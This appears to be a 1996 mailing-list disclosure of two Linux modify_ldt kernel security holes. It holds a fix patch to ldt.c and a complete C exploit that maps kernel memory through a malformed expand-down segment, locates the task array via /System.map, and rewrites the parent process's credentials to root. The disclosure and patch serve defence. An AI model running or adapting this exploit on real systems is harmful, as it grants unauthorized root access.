modify_ldt security holes

Morten Welinder (terra@diku.dk)
Tue, 5 Mar 1996 22:47:30 +0100


I hate to repeat myself, but anyway: the modify_ldt system call
has two security holes. 1: A harmless thingo allows access to an
area of memory indended for the kernel. 2: A should-have-read-
the-manual bad logic causes all of linear memory to be accessible
to user processes at will.

As a side effect, 2 also keeps Wine/Dosemu clients from using
expand-down stacks. They will simply crash.

Patch and exploit script follow.

Morten Welinder
terra@diku.dk
[please CC responses, if any]

*** /usr/src/linux/arch/i386/kernel/ldt.c.orig Tue Mar 5 20:22:00 1996
--- /usr/src/linux/arch/i386/kernel/ldt.c Tue Mar 5 20:32:09 1996
***************
*** 55,65 ****
limit = ldt_info.limit;
base = ldt_info.base_addr;
if (ldt_info.limit_in_pages)
! limit *= PAGE_SIZE;

! limit += base;
! if (limit < base || limit >= 0xC0000000)
! return -EINVAL;

if (!current->ldt) {
for (i=1 ; i<NR_TASKS ; i++) {
--- 55,72 ----
limit = ldt_info.limit;
base = ldt_info.base_addr;
if (ldt_info.limit_in_pages)
! limit = limit * PAGE_SIZE + (PAGE_SIZE - 1);

! if (ldt_info.contents == 1) {
! /* An expand-down data ("stack") segment. */
! if (limit >= base || base >= 0xC0000000)
! return -EINVAL;
! } else {
! /* Regular data or code segment. */
! limit += base;
! if (limit < base || limit >= 0xC0000000)
! return -EINVAL;
! }

if (!current->ldt) {
for (i=1 ; i<NR_TASKS ; i++) {
***************
*** 75,80 ****
--- 82,88 ----

lp = (unsigned long *) &current->ldt[ldt_info.entry_number];
/* Allow LDTs to be cleared by the user. */
+ /* This should probably require .seg_not_present == 1 also. */
if (ldt_info.base_addr == 0 && ldt_info.limit == 0) {
*lp = 0;
*(lp+1) = 0;

#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
#include <asm/sigcontext.h>
#define __KERNEL__
#include <linux/sched.h>
_syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)

#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
unsigned char res;
asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
: "=a" (res)
: "r" (seg), "r" (ofs));
return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
: /* No results. */
: "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
while (size-- > 0)
*(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
while (size-- > 0)
__farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
int stat, i;
struct modify_ldt_ldt_s ldt_entry;
FILE *syms;
char line[100];
struct task_struct **task, *taskptr, thistask;
pid_t ppid;

printf ("Bogusity checker for modify_ldt system call.\n");

printf ("Testing for page-size limit bug...\n");
ldt_entry.entry_number = 0;
ldt_entry.base_addr = 0xbfffffff;
ldt_entry.limit = 0;
ldt_entry.seg_32bit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
ldt_entry.read_exec_only = 0;
ldt_entry.limit_in_pages = 1;
ldt_entry.seg_not_present = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
/* Continue after reporting error. */
printf ("This bug has been fixed in your kernel.\n");
else
{
printf ("Shit happens: ");
printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
}

printf ("Testing for expand-down limit bug...\n");
ldt_entry.base_addr = 0x00000000;
ldt_entry.limit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
ldt_entry.limit_in_pages = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
{
printf ("This bug has been fixed in your kernel.\n");
return 1;
}
else
{
printf ("Shit happens: ");
printf ("0x00000000 - 0xfffffffd is accessible.\n");
}

syms = fopen ("/System.map", "r");
if (!syms)
{
printf ("Couldn't open `/System.map' for reading.\n");
return 1;
}
while (1)
{
line[0] = 0;
fgets (line, sizeof (line) - 1, syms);
if (strlen (line) < 10)
{
printf ("Couldn't find the _task array symbol.\n");
fclose (syms);
return 1;
}
if (strcmp (line + 9, "D _task\n") == 0) break;
}
fclose (syms);

task = (struct task_struct **) (KERNEL_BASE + strtol (line, 0, 16));
ppid = getppid ();

for (i = 0; i < NR_TASKS; i++)
{
memgetseg (&taskptr, 7, &task[i], sizeof (taskptr));
if (taskptr)
{
(char *)taskptr += KERNEL_BASE;
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid == ppid)
{
thistask.uid = thistask.euid = 0;
thistask.gid = thistask.egid = 0;
memputseg (7, taskptr, &thistask, sizeof (thistask));
printf ("Shit happens: parent process is now root process.\n");
return 0;
}
}
}

printf ("Strange things happens -- no parent process found.\n");
return 1;
};